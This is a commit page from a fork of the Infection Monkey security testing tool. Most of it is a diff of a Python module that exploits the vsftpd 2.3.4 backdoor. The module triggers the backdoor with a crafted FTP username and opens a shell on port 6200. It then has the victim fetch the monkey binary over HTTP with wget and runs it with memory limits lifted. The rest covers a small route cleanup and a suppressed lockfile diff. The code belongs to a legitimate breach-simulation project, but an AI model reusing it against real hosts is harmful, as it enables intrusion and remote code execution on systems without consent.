p59342861
/
monkey
forked from p15670423/monkey
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Post merge fixes

This commit is contained in:
VakarisZ 2019-05-29 09:56:57 +03:00
parent 61e04c796d
commit b465c27e20
3 changed files with 4275 additions and 3696 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

70
monkey/infection_monkey/exploit/vsftpd.py
View File

@ -4,39 +4,34 @@
only vulnerable version is "2.3.4" only vulnerable version is "2.3.4"
""" """
import StringIO
import logging
import paramiko
import socket import socket
import time import time
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit import HostExploiter from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.web_rce import WebRCE
from logging import getLogger from logging import getLogger
LOG = getLogger(__name__) LOG = getLogger(__name__)
__author__ = 'D3fa1t' __author__ = 'D3fa1t'
FTP_PORT = 21 # port at which vsftpd runs FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port BACKDOOR_PORT = 6200 # backdoor port
RECV_128 = 128 # In Bytes RECV_128 = 128 # In Bytes
UNAME_M = "uname -m" UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;" UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please' # Ftp Password PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter): class VSFTPDExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux'] _TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'VSFTPD'
def __init__ (self, host): def __init__(self, host):
self._update_timestamp = 0 self._update_timestamp = 0
super(VSFTPDExploiter, self).__init__(host) super(VSFTPDExploiter, self).__init__(host)
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
@ -46,13 +41,13 @@ class VSFTPDExploiter(HostExploiter):
s.connect((ip_addr, port)) s.connect((ip_addr, port))
return True return True
except socket.error as e: except socket.error as e:
LOG.error('Failed to connect to %s', self.host.ip_addr) LOG.error('Failed to connect to %s', self.host.ip_addr)
return False return False
def socket_send_recv(self, s, message): def socket_send_recv(self, s, message):
try: try:
s.send(message) s.send(message)
return s.recv(RECV_128).decode('utf-8') return s.recv(RECV_128).decode('utf-8')
except socket.error as e: except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr) LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False return False
@ -60,35 +55,35 @@ class VSFTPDExploiter(HostExploiter):
def socket_send(self, s, message): def socket_send(self, s, message):
try: try:
s.send(message) s.send(message)
return True return True
except socket.error as e: except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr) LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False return False
def exploit_host(self): def exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..") LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8') ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'): if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER) time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n') self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close() ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands') LOG.info('Backdoor Enabled, Now we can run commands')
else: else:
LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
return False return False
LOG.info('Attempting to connect to backdoor...') LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n') uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m) response = self.socket_send_recv(backdoor_socket, uname_m)
if response: if response:
LOG.info('Response for uname -m: %s', response) LOG.info('Response for uname -m: %s', response)
@ -96,7 +91,7 @@ class VSFTPDExploiter(HostExploiter):
# command execution is successful # command execution is successful
self.host.os['machine'] = response.lower().strip() self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux' self.host.os['type'] = 'linux'
else : else:
LOG.info("Failed to execute command uname -m on victim %r ", self.host) LOG.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host) src_path = get_target_monkey(self.host)
@ -109,8 +104,8 @@ class VSFTPDExploiter(HostExploiter):
# Create a http server to host the monkey # Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path) LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine # Upload the monkey to the machine
monkey_path = dropper_target_path_linux monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
@ -121,7 +116,7 @@ class VSFTPDExploiter(HostExploiter):
else: else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr) LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False return False
http_thread.join(DOWNLOAD_TIMEOUT) http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
@ -136,14 +131,13 @@ class VSFTPDExploiter(HostExploiter):
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
# Set unlimited to memory # Set unlimited to memory
run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = str.encode(str(run_monkey) + '\n') run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER) time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey): if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
return True return True
else: else:
return False return False

1
monkey/monkey_island/cc/app.py
View File

@ -135,7 +135,6 @@ def init_api_resources(api):
api.add_resource(AttackConfiguration, '/api/attack') api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(AttackTelem, '/api/attack/<string:technique>') api.add_resource(AttackTelem, '/api/attack/<string:technique>')
api.add_resource(AttackReport, '/api/attack/report') api.add_resource(AttackReport, '/api/attack/report')
api.add_resource(AttackConfiguration, '/api/attack')
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')

7900
monkey/monkey_island/cc/ui/package-lock.json generated
View File

File diff suppressed because it is too large Load Diff